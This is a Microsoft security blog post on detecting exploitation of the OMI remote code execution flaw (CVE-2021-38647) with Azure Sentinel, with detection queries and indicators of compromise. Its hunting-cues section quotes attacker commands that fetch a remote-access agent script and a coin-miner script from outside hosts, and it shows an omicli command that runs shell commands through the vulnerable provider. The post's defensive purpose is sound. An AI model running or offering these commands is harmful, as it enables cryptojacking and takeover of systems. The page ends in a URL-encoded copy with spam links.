Hunting for OMI Vulnerability Exploitation with Azure Sentinel

Published Sep 18 2021 03:57 PM 17.1K Views
Microsoft

Russell McDonald, Roberto Rodriguez, and Ajeet Prakash

Special thanks to: Ross Bevington 

 

Following the September 14th, 2021 release of three Elevation of Privilege (EoP) vulnerabilities (CVE-2021-38645, CVE-2021-38649, CVE-2021-38648) and one unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2021-38647) in the Open Management Infrastructure (OMI) Framework, analysts in the Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation and investigating detections to further protect customers. Following the MSRC guidance to block ports that you aren't using and to ensure the OMI service is patched are great first steps. In this blog, we have some things to share about current attacks in the wild, agents and software involved, indicators for defenders to look for on host machines, and to share new detections in Azure Sentinel.

 

Attacks in the wild

At Microsoft we monitor for attacks against our cloud services to inform our future security research, track emerging threats, and to improve the detection coverage of our security offerings.  As part of that work, MSTIC is monitoring for exploitation of the OMI related RCE (CVE-2021-38647).  To date we have seen several active exploitation attempts ranging from basic host enumeration (running uname, id, ps commands) to attempts to install a crypto currency miner or file share. (Details available below in Hunting cues section). We have also seen others in the community report similar behavior to include installs of the Mirai botnet. While many of the attackers are looking for port 5986, we are also seeing attacks on port 1270.  Due to the number of easily adaptable proof of concept exploits available and the volume of reconnaissance-type attacks, we are anticipating an increase in the number of effects-type attacks (coin miners, bot installation, etc.).

 

What is OMI?

OMI is an open-source project to further the development of a production quality implementation of the OMI CIMOM is also designed to be portable and highly modular. In order to attain its small footprint, it is coded in C, which also makes it a much more viable CIM Object Manager for embedded systems and other infrastructure components that have memory constraints for their management processor. OMI is also designed to be inherently portable. It builds and runs today on most UNIX® systems and Linux. In addition to OMI's small footprint, it also demonstrates very high performance.

 

Unauthenticated remote command execution?

In a nutshell, anyone with access to an endpoint running a vulnerable version (less than 1.6.8.1) of the OMI agent can execute arbitrary commands over an HTTP request without an authorization header. The expected behavior would be a 401 unauthorized response. However, the user is able to execute commands with root privileges.

More details are available in the MSRC CVE-2021-38647 post and the finder company Wiz blog post.

 

Endpoint Execution Context

In addition to monitoring for incoming connections over ports 5986, 5985 or 1270 to vulnerable systems, there is more to explore at the endpoint level.

 

SCXCore Providers

SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

The SCXcore provides a CIMOM provider, based on OMI, to return logging and statistical information for a UNIX or Linux system. There are several providers or classes available through the SCXcore provider which can be used to gather information from an endpoint such as  MemoryStatisticalInformation or FileSystemStatisticalInformation.

 

In addition, there is one support provider named the RunAsProvider which provides the following classes:

  • ExecuteCommand: Executes any UNIX/Linux native command
  • ExecuteShellCommand: Executes any UNIX/Linux command using the /bin/sh shell
  • ExecuteScript: Executes any UNIX/Linux script using the /bin/sh shell

 

Executing Code via ExecuteShellCommand

Based on the initial research from Wiz, the following command was used to explore network traffic in order to craft an HTTP request to test the vulnerability:

/opt/omi/bin/omicli --hostname 192.168.1.1 -u azureuser -p Password1 iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

 

During testing, we used the Scxadmin tool, available as part of SCX, to increase all logging to VERBOSE and identify additional sources of data. The following command was used:

/opt/microsoft/scx/bin/tools/scxadmin -log-set all verbose

 

After running public proof-of-concepts to test the vulnerability, we validated that the code was being handled by the RunAsProvider :: Invoke_ExecuteShellCommand class:russmc_0-1632000577051.png

Checking logs from auditd via Syslog, we also identified where the code was being executed from:

russmc_1-1632000577059.png

We tested the same in our lab environments, and we observed the same behavior which is shown below:

russmc_2-1632000577065.png

 

Looking at the code behind the components of the RunAs providers, there are some references to it:

russmc_3-1632000577069.png

 

More information about SCXcore is available here: GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager

 

Executing Code via ExecuteScript

 

Similarly, scripts can be run using the ExecuteScript provider. In this case, the body of the http request contains a reference to ExecuteScript.  In the below example, the command ‘id’ is base64 encoded to ‘aWQ=’:

russmc_4-1632000577071.png

 

In this case, the script is passed into a temp directory which you can see in the execve logs. Look for a commandline similar to /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/scx*. This command will still show as being run from the same /var/opt/microsoft/scx/tmp current working directory.

Of note, this is the method we have seen used with attackers attempting to install coin miners.

 

Azure Sentinel coverage

Relevant security data required for understanding the impact of an attack is produced in multiple locations. Azure Sentinel has made it easy to collect the data from multiple data sources easily. This section of the post contains guidance and generic approaches to look for the OMI related activity in various data feeds that are available by default in Azure Sentinel or can be onboarded to Azure Sentinel.

 

Some Azure products, such as Configuration Management, open an HTTP/S port (1270/5985/5986) listening for OMI. Attackers can exploit the vulnerability in OMI where these ports are open by sending a specially crafted message via HTTPS to port listening to OMI to gain initial access to the machine.

 

The Azure Sentinel query linked below tries to identify connection attempts from the external IP addresses to the OMI management ports (5985,5986,1270). The query primarily leverages the Network Session normalization schema (imNetworkSession)  as well as a few other logs to look for this network connection activity from an external IP address. Where available, it tries to restrict the results to the relevant OMI process. The results can sometimes be noisy; hence the query has been shipped as a hunting query.

Normalizing parsers for leveraging the imNetworkSession normalized schema are required for this query to work and can be deployed in a click using an ARM Template.

Azure-Sentinel/NetworkConnectiontoOMIPorts.yaml at master · Azure/Azure-Sentinel · GitHub

 

Customers can also use Heartbeat logs that monitors agent health to find vulnerable machine. The Azure Sentinel query linked below tries to leverage Heartbeat data to find OMS-agents that are reporting to the Azure Sentinel workspace but are not updated to the latest version that prevents this vulnerability.

[updated Sept 27, 2021]

Azure-Sentinel/OMI_vulnerability_detection.yaml at master · Azure/Azure-Sentinel (github.com)

 

Additionally, Azure Security Center generates detailed security recommendations if there are vulnerable machines in an Azure Environment with OMI installed. With the continuous export feature of Security Center, these security recommendations can be imported into Azure Sentinel. Azure Sentinel leverages this data populated in Security Nested Recommendations table to build a detection query to show vulnerable machines.

 Azure-Sentinel/OMIGODVulnerableMachines.yaml at master · Azure/Azure-Sentinel · GitHub

 

Azure Service Health has also sent notifications to potentially impacted customers. In the impacted environments where customers can run a quick query to check if they are impacted by this Vulnerability.

AzureActivity
| where CategoryValue == 'ServiceHealth'
| where isnotempty(Properties) and Properties has 'CVE-2021-38645'
| extend defaultLanguageTitle = tostring(parse_json(tostring(parse_json(Properties).eventProperties)).defaultLanguageTitle)

 

SCX RunAs Provider

[updated Sept 24, 2021]

The below hunting query uses security events from the Microsoft Audit Collection Tool (AUOMS) collected via the Azure Sentinel Syslog data connector to explore the use of SCX Execute RunAs providers.

 

Azure-Sentinel/SCXExecuteRunAsProviders.yml at master · Azure/Azure-Sentinel (github.com)


Execute RunAs providers such as the ExecuteShellCommand and ExecuteScript can be used to execute any UNIX/Linux command and script respectively using the /bin/sh shell. Execution occurs from the /var/opt/microsoft/scx/tmp directory and depending on the execution RunAs provider, execution can be a command or a script. If the ExecuteScript RunAs provider is used, then the script file is created in the following directory /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/ with the prefix scx (e.g. scxzOy96). SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

 

Hunting cues and IOCs

Common enumeration commands seen

uname -a, id, netstat, ps

Exploitation attempt

wget hxxps://www.dwservice.net/download/dwagent_generic.sh  -O dwagent_generic.sh

Exploitation attempt

echo curl hxxps://www.dwservice.net/download/dwagent_generic.sh  --output dw.sh > go.sh

Exploitation attempt

curl -fSsL hxxp://104.168.213.31:55879/coinlinux/runMiner.sh

Scanning IPs

13.212.235.12

Scanning IPs

142.93.148.12

Scanning IPs

171.224.80.216

Scanning IPs

185.220.100.245

Scanning IPs

216.151.191.152

Scanning IPs

23.129.64.140

Scanning IPs

31.44.185.115

Scanning IPs

46.30.42.126

Scanning IPs

5.45.127.209

Scanning IPs

94.198.42.158

 

References: 

MSRC communications:

Azure Security Center Guidance:

Sentinel Detections:

Software and tools:

Research lab environments:

 

Public Discussion About Attacks in the wild:

 

3 Comments
Occasional Contributor

Hm, but why are these Monitor SW components not listed in Windows Defender SW Inventory?

Microsoft

@sirferl My understanding is if you have Linux machines enrolled in MDE these should show up in the Defender SW inventory.

Occasional Contributor

thank you @russmc : They weren't showing up when I posted. Since last week they show up. Maybe someone changed something on the backend to make this SW visible, after these problems were detected (No one thought there coud be a problem with this SW?)

Wondering what else might be installed and not showing up in Defender.

%3CLINGO-SUB%20id%3D%22lingo-sub-2764345%22%20slang%3D%22en-US%22%3ERe%3A%20Hunting%20for%20OMI%20Vulnerability%20Exploitation%20with%20Azure%20Sentinel%3C%2FLINGO-SUB%3E%3CLINGO-BODY%20id%3D%22lingo-body-2764345%22%20slang%3D%22en-US%22%3E%3CP%3EGsm-Asia.com%20-%20mobile%20phone%20reviews%2C%20news%2C%20specifications%20and%20more...%3C%2FP%3E%3CP%3EGsm-Asia%20-%20%3CA%20href%3D%22https%3A%2F%2Fgsm-asia.com%22%20target%3D%22_blank%22%20rel%3D%22nofollow%20noopener%20noreferrer%22%3Ehttps%3A%2F%2Fgsm-asia.com%3C%2FA%3E%3C%2FP%3E%3CP%3E%3CA%20href%3D%22https%3A%2F%2Fwww.gsm-asia.com%2Fbrand%2Fapple%22%20target%3D%22_blank%22%20rel%3D%22nofollow%20noopener%20noreferrer%22%3Ehttps%3A%2F%2Fwww.gsm-asia.com%2Fbrand%2Fapple%3C%2FA%3E%3C%2FP%3E%3CP%3E%3CA%20href%3D%22https%3A%2F%2Fwww.gsm-asia.com%2Fbrand%2Fsamsung%22%20target%3D%22_blank%22%20rel%3D%22nofollow%20noopener%20noreferrer%22%3Ehttps%3A%2F%2Fwww.gsm-asia.com%2Fbrand%2Fsamsung%3C%2FA%3E%3C%2FP%3E%3CP%3E%3CA%20href%3D%22https%3A%2F%2Fwww.gsm-asia.com%2Fbrand%2Fxiaomi%22%20target%3D%22_blank%22%20rel%3D%22nofollow%20noopener%20noreferrer%22%3Ehttps%3A%2F%2Fwww.gsm-asia.com%2Fbrand%2Fxiaomi%3C%2FA%3E%3C%2FP%3E%3CP%3E%3CA%20href%3D%22https%3A%2F%2Fmulti-talents.com%2F%22%20target%3D%22_blank%22%20rel%3D%22nofollow%20noopener%20noreferrer%22%3Ehttps%3A%2F%2Fmulti-talents.com%2F%3C%2FA%3E%3C%2FP%3E%3C%2FLINGO-BODY%3E%3CLINGO-SUB%20id%3D%22lingo-sub-2766065%22%20slang%3D%22en-US%22%3ERe%3A%20Hunting%20for%20OMI%20Vulnerability%20Exploitation%20with%20Azure%20Sentinel%3C%2FLINGO-SUB%3E%3CLINGO-BODY%20id%3D%22lingo-body-2766065%22%20slang%3D%22en-US%22%3E%3CP%3EHm%2C%20but%20why%20are%20these%20Monitor%20SW%20components%20not%20listed%20in%20Windows%20Defender%20SW%20Inventory%3F%3C%2FP%3E%3C%2FLINGO-BODY%3E%3CLINGO-SUB%20id%3D%22lingo-sub-2782962%22%20slang%3D%22en-US%22%3ERe%3A%20Hunting%20for%20OMI%20Vulnerability%20Exploitation%20with%20Azure%20Sentinel%3C%2FLINGO-SUB%3E%3CLINGO-BODY%20id%3D%22lingo-body-2782962%22%20slang%3D%22en-US%22%3E%3CP%3E%3CA%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fuser%2Fviewprofilepage%2Fuser-id%2F483968%22%20target%3D%22_blank%22%3E%40sirferl%3C%2FA%3E%26nbsp%3BMy%20understanding%20is%20if%20you%20have%20Linux%20machines%20enrolled%20in%20MDE%20these%20should%20show%20up%20in%20the%20Defender%20SW%20inventory.%3C%2FP%3E%3C%2FLINGO-BODY%3E%3CLINGO-SUB%20id%3D%22lingo-sub-2787335%22%20slang%3D%22en-US%22%3ERe%3A%20Hunting%20for%20OMI%20Vulnerability%20Exploitation%20with%20Azure%20Sentinel%3C%2FLINGO-SUB%3E%3CLINGO-BODY%20id%3D%22lingo-body-2787335%22%20slang%3D%22en-US%22%3E%3CP%3Ethank%20you%26nbsp%3B%3CA%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fuser%2Fviewprofilepage%2Fuser-id%2F528639%22%20target%3D%22_blank%22%3E%40russmc%3C%2FA%3E%26nbsp%3B%3A%20They%20weren't%20showing%20up%20when%20I%20posted.%20Since%20last%20week%20they%20show%20up.%20Maybe%20someone%20changed%20something%20on%20the%20backend%20to%20make%20this%20SW%20visible%2C%20after%20these%20problems%20were%20detected%20(No%20one%20thought%20there%20coud%20be%20a%20problem%20with%20%3CSTRONG%3Ethis%3C%2FSTRONG%3E%20SW%3F)%3C%2FP%3E%3CP%3EWondering%20what%20else%20might%20be%20installed%20and%20not%20showing%20up%20in%20Defender.%3C%2FP%3E%3C%2FLINGO-BODY%3E%3CLINGO-SUB%20id%3D%22lingo-sub-2764093%22%20slang%3D%22en-US%22%3EHunting%20for%20OMI%20Vulnerability%20Exploitation%20with%20Azure%20Sentinel%3C%2FLINGO-SUB%3E%3CLINGO-BODY%20id%3D%22lingo-body-2764093%22%20slang%3D%22en-US%22%3E%3CP%3E%3CEM%3ERussell%20McDonald%2C%20Roberto%20Rodriguez%2C%20and%20Ajeet%20Prakash%3C%2FEM%3E%3C%2FP%3E%0A%3CP%3E%3CEM%3ESpecial%20thanks%20to%3A%20Ross%20Bevington%26nbsp%3B%3C%2FEM%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EFollowing%20the%20September%2014%3CSUP%3Eth%3C%2FSUP%3E%2C%202021%20release%20of%20three%20Elevation%20of%20Privilege%20(EoP)%20vulnerabilities%20(%3CA%20href%3D%22https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-38645%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3ECVE-2021-38645%3C%2FA%3E%2C%20%3CA%20href%3D%22https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-38649%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3ECVE-2021-38649%3C%2FA%3E%2C%20%3CA%20href%3D%22https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-38648%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3ECVE-2021-38648%3C%2FA%3E)%20and%20one%20unauthenticated%20Remote%20Code%20Execution%20(RCE)%20vulnerability%20(%3CA%20href%3D%22https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-38647%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3ECVE-2021-38647%3C%2FA%3E)%20in%20the%20Open%20Management%20Infrastructure%20(OMI)%20Framework%2C%20analysts%20in%20the%20Microsoft%20Threat%20Intelligence%20Center%20(MSTIC)%20have%20been%20monitoring%20for%20signs%20of%20exploitation%20and%20investigating%20detections%20to%20further%20protect%20customers.%20Following%20the%20%3CA%20href%3D%22https%3A%2F%2Fmsrc-blog.microsoft.com%2F2021%2F09%2F16%2Fadditional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions%2F%22%20target%3D%22_self%22%20rel%3D%22noopener%20noreferrer%22%3EMSRC%20guidance%3C%2FA%3E%20to%20block%20ports%20that%20you%20aren't%20using%20and%20to%20ensure%20the%20OMI%20service%20is%20patched%20are%20great%20first%20steps.%20In%20this%20blog%2C%20we%20have%20some%20things%20to%20share%20about%20current%20attacks%20in%20the%20wild%2C%20agents%20and%20software%20involved%2C%20indicators%20for%20defenders%20to%20look%20for%20on%20host%20machines%2C%20and%20to%20share%20new%20detections%20in%20Azure%20Sentinel.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId--351527225%22%20id%3D%22toc-hId--351525584%22%3E%3CFONT%20size%3D%226%22%3E%3CSPAN%3EAttacks%20in%20the%20wild%3C%2FSPAN%3E%3C%2FFONT%3E%3C%2FH2%3E%0A%3CP%3EAt%20Microsoft%20we%20monitor%20for%20attacks%20against%20our%20cloud%20services%20to%20inform%20our%20future%20security%20research%2C%20track%20emerging%20threats%2C%20and%20to%20improve%20the%20detection%20coverage%20of%20our%20security%20offerings.%26nbsp%3B%20As%20part%20of%20that%20work%2C%20MSTIC%20is%20monitoring%20for%20exploitation%20of%20the%20OMI%20related%20RCE%20(CVE-2021-38647).%26nbsp%3B%20To%20date%20we%20have%20seen%20several%20active%20exploitation%20attempts%20ranging%20from%20basic%20host%20enumeration%20(running%20%3CEM%3Euname%3C%2FEM%3E%2C%20%3CEM%3Eid%3C%2FEM%3E%2C%20%3CEM%3Eps%3C%2FEM%3E%20commands)%20to%20attempts%20to%20install%20a%20crypto%20currency%20miner%20or%20file%20share.%20(Details%20available%20below%20in%20Hunting%20cues%20section).%20We%20have%20also%20seen%20others%20in%20the%20community%20report%20similar%20behavior%20to%20include%20installs%20of%20the%20Mirai%20botnet.%20While%20many%20of%20the%20attackers%20are%20looking%20for%20port%205986%2C%20we%20are%20also%20seeing%20attacks%20on%20port%201270.%26nbsp%3B%20Due%20to%20the%20number%20of%20easily%20adaptable%20proof%20of%20concept%20exploits%20available%20and%20the%20volume%20of%20reconnaissance-type%20attacks%2C%20we%20are%20anticipating%20an%20increase%20in%20the%20number%20of%20effects-type%20attacks%20(coin%20miners%2C%20bot%20installation%2C%20etc.).%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH1%20id%3D%22toc-hId--362030329%22%20id%3D%22toc-hId--362028688%22%3EWhat%20is%20OMI%3F%3C%2FH1%3E%0A%3CP%3EOMI%20is%20an%20open-source%20project%20to%20further%20the%20development%20of%20a%20production%20quality%20implementation%20of%20the%20OMI%20CIMOM%20is%20also%20designed%20to%20be%20portable%20and%20highly%20modular.%20In%20order%20to%20attain%20its%20small%20footprint%2C%20it%20is%20coded%20in%20C%2C%20which%20also%20makes%20it%20a%20much%20more%20viable%20CIM%20Object%20Manager%20for%20embedded%20systems%20and%20other%20infrastructure%20components%20that%20have%20memory%20constraints%20for%20their%20management%20processor.%20OMI%20is%20also%20designed%20to%20be%20inherently%20portable.%20It%20builds%20and%20runs%20today%20on%20most%20UNIX%C2%AE%20systems%20and%20Linux.%20In%20addition%20to%20OMI's%20small%20footprint%2C%20it%20also%20demonstrates%20very%20high%20performance.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH1%20id%3D%22toc-hId-2125482504%22%20id%3D%22toc-hId-2125484145%22%3EUnauthenticated%20remote%20command%20execution%3F%3C%2FH1%3E%0A%3CP%3EIn%20a%20nutshell%2C%20anyone%20with%20access%20to%20an%20endpoint%20running%20a%20vulnerable%20version%20(less%20than%201.6.8.1)%20of%20the%20OMI%20agent%20can%20execute%20arbitrary%20commands%20over%20an%20HTTP%20request%20without%20an%20authorization%20header.%20The%20expected%20behavior%20would%20be%20a%20401%20unauthorized%20response.%20However%2C%20the%20user%20is%20able%20to%20execute%20commands%20with%20root%20privileges.%3C%2FP%3E%0A%3CP%3EMore%20details%20are%20available%20in%20the%20%3CA%20href%3D%22https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-38647%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EMSRC%20CVE-2021-38647%3C%2FA%3E%20post%20and%20the%20finder%20company%20%3CA%20href%3D%22https%3A%2F%2Fwww.wiz.io%2Fblog%2Fomigod-critical-vulnerabilities-in-omi-azure%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EWiz%20blog%20post.%3C%2FA%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH1%20id%3D%22toc-hId-318028041%22%20id%3D%22toc-hId-318029682%22%3EEndpoint%20Execution%20Context%3C%2FH1%3E%0A%3CP%3EIn%20addition%20to%20monitoring%20for%20incoming%20connections%20over%20ports%205986%2C%205985%20or%201270%20to%20vulnerable%20systems%2C%20there%20is%20more%20to%20explore%20at%20the%20endpoint%20level.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId-1008589515%22%20id%3D%22toc-hId-1008591156%22%3ESCXCore%20Providers%3C%2FH2%3E%0A%3CP%3ESCXcore%2C%20started%20as%20the%20%3CA%20href%3D%22https%3A%2F%2Fnam06.safelinks.protection.outlook.com%2F%3Furl%3Dhttps%253A%252F%252Ftechnet.microsoft.com%252Flibrary%252Fhh205987.aspx%26amp%3Bdata%3D04%257C01%257Crussmc%2540microsoft.com%257Ce5ae650976294cb04c1908d979eb7263%257C72f988bf86f141af91ab2d7cd011db47%257C1%257C0%257C637674874445994559%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C1000%26amp%3Bsdata%3DvG4wRzlqc8aj6eyNuPX45tafQwyRYqLylHG%252FfWfFsSI%253D%26amp%3Breserved%3D0%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EMicrosoft%20Operations%20Manager%3C%2FA%3E%20UNIX%2FLinux%20Agent%2C%20is%20now%20used%20in%20a%20host%20of%20products%20including%20%3CA%20href%3D%22https%3A%2F%2Fnam06.safelinks.protection.outlook.com%2F%3Furl%3Dhttps%253A%252F%252Ftechnet.microsoft.com%252Flibrary%252Fhh205987.aspx%26amp%3Bdata%3D04%257C01%257Crussmc%2540microsoft.com%257Ce5ae650976294cb04c1908d979eb7263%257C72f988bf86f141af91ab2d7cd011db47%257C1%257C0%257C637674874445994559%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C1000%26amp%3Bsdata%3DvG4wRzlqc8aj6eyNuPX45tafQwyRYqLylHG%252FfWfFsSI%253D%26amp%3Breserved%3D0%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EMicrosoft%20Operations%20Manager%3C%2FA%3E.%20%3CA%20href%3D%22https%3A%2F%2Fnam06.safelinks.protection.outlook.com%2F%3Furl%3Dhttps%253A%252F%252Fazure.microsoft.com%252F%26amp%3Bdata%3D04%257C01%257Crussmc%2540microsoft.com%257Ce5ae650976294cb04c1908d979eb7263%257C72f988bf86f141af91ab2d7cd011db47%257C1%257C0%257C637674874446004552%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C1000%26amp%3Bsdata%3DntBD2LhSHMr7Os80vWt6jrWIv2DArrpGhFmlWQNZEqY%253D%26amp%3Breserved%3D0%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EMicrosoft%20Azure%3C%2FA%3E%2C%20and%20%3CA%20href%3D%22https%3A%2F%2Fnam06.safelinks.protection.outlook.com%2F%3Furl%3Dhttps%253A%252F%252Fwww.microsoft.com%252Fen-us%252Fcloud-platform%252Foperations-management-suite%26amp%3Bdata%3D04%257C01%257Crussmc%2540microsoft.com%257Ce5ae650976294cb04c1908d979eb7263%257C72f988bf86f141af91ab2d7cd011db47%257C1%257C0%257C637674874446004552%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C1000%26amp%3Bsdata%3DyTx%252BEMTxNv0wstCnRi05ZGYU3QpJEyk4vssrKO8sNvo%253D%26amp%3Breserved%3D0%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EMicrosoft%20Operations%20Management%20Suite%3C%2FA%3E.%3C%2FP%3E%0A%3CP%3EThe%20SCXcore%20provides%20a%20CIMOM%20provider%2C%20based%20on%20%3CA%20href%3D%22https%3A%2F%2Fnam06.safelinks.protection.outlook.com%2F%3Furl%3Dhttps%253A%252F%252Fgithub.com%252FMicrosoft%252Fomi%26amp%3Bdata%3D04%257C01%257Crussmc%2540microsoft.com%257Ce5ae650976294cb04c1908d979eb7263%257C72f988bf86f141af91ab2d7cd011db47%257C1%257C0%257C637674874446014554%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C1000%26amp%3Bsdata%3D94v5LZiA7jA5EJ64NW871Kn1wWrNYh7bIwZt21qgvUo%253D%26amp%3Breserved%3D0%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EOMI%3C%2FA%3E%2C%20to%20return%20logging%20and%20statistical%20information%20for%20a%20UNIX%20or%20Linux%20system.%20There%20are%20several%20providers%20or%20classes%20available%20through%20the%20SCXcore%20provider%20which%20can%20be%20used%20to%20gather%20information%20from%20an%20endpoint%20such%20as%26nbsp%3B%20MemoryStatisticalInformation%20or%20FileSystemStatisticalInformation.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EIn%20addition%2C%20there%20is%20one%20support%20provider%20named%20the%20%3CSTRONG%3ERunAsProvider%3C%2FSTRONG%3E%20which%20provides%20the%20following%20classes%3A%3C%2FP%3E%0A%3CUL%3E%0A%3CLI%3EExecuteCommand%3A%20Executes%20any%20UNIX%2FLinux%20native%20command%3C%2FLI%3E%0A%3CLI%3EExecuteShellCommand%3A%20Executes%20any%20UNIX%2FLinux%20command%20using%20the%20%2Fbin%2Fsh%20shell%3C%2FLI%3E%0A%3CLI%3EExecuteScript%3A%20Executes%20any%20UNIX%2FLinux%20script%20using%20the%20%2Fbin%2Fsh%20shell%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId--798864948%22%20id%3D%22toc-hId--798863307%22%3EExecuting%20Code%20via%20ExecuteShellCommand%3C%2FH2%3E%0A%3CP%3E%3CSTRONG%3EBased%20on%20the%20initial%20research%3C%2FSTRONG%3E%20from%20Wiz%2C%20the%20following%20command%20was%20used%20to%20explore%20network%20traffic%20in%20order%20to%20craft%20an%20HTTP%20request%20to%20test%20the%20vulnerability%3A%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%2Fopt%2Fomi%2Fbin%2Fomicli%20--hostname%20192.168.1.1%20-u%20azureuser%20-p%20Password1%20iv%20root%2Fscx%20%7B%20SCX_OperatingSystem%20%7D%20ExecuteShellCommand%20%7B%20command%20'id'%20timeout%200%20%7D%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EDuring%20testing%3C%2FSTRONG%3E%2C%20we%20used%20the%20%3CA%20href%3D%22https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fsystem-center%2Fscom%2Fmanage-security-administer-crossplat-agent%3Fview%3Dsc-om-2019%23scxadmin%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EScxadmin%20tool%3C%2FA%3E%2C%20available%20as%20part%20of%20SCX%2C%20to%20increase%20all%20logging%20to%20VERBOSE%20and%20identify%20additional%20sources%20of%20data.%20The%20following%20command%20was%20used%3A%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%2Fopt%2Fmicrosoft%2Fscx%2Fbin%2Ftools%2Fscxadmin%20-log-set%20all%20verbose%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EAfter%20running%20public%20proof-of-concepts%3C%2FSTRONG%3E%20to%20test%20the%20vulnerability%2C%20we%20validated%20that%20the%20code%20was%20being%20handled%20by%20the%20RunAsProvider%20%3A%3A%20Invoke_ExecuteShellCommand%20class%3A%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22russmc_0-1632000577051.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F311328i401E61FCF1859FDD%2Fimage-size%2Flarge%3Fv%3Dv2%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22russmc_0-1632000577051.png%22%20alt%3D%22russmc_0-1632000577051.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EChecking%20logs%3C%2FSTRONG%3E%20from%20auditd%20via%20Syslog%2C%20we%20also%20identified%20where%20the%20code%20was%20being%20executed%20from%3A%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22russmc_1-1632000577059.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F311327i200EDE10FF52D3E9%2Fimage-size%2Flarge%3Fv%3Dv2%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22russmc_1-1632000577059.png%22%20alt%3D%22russmc_1-1632000577059.png%22%20%2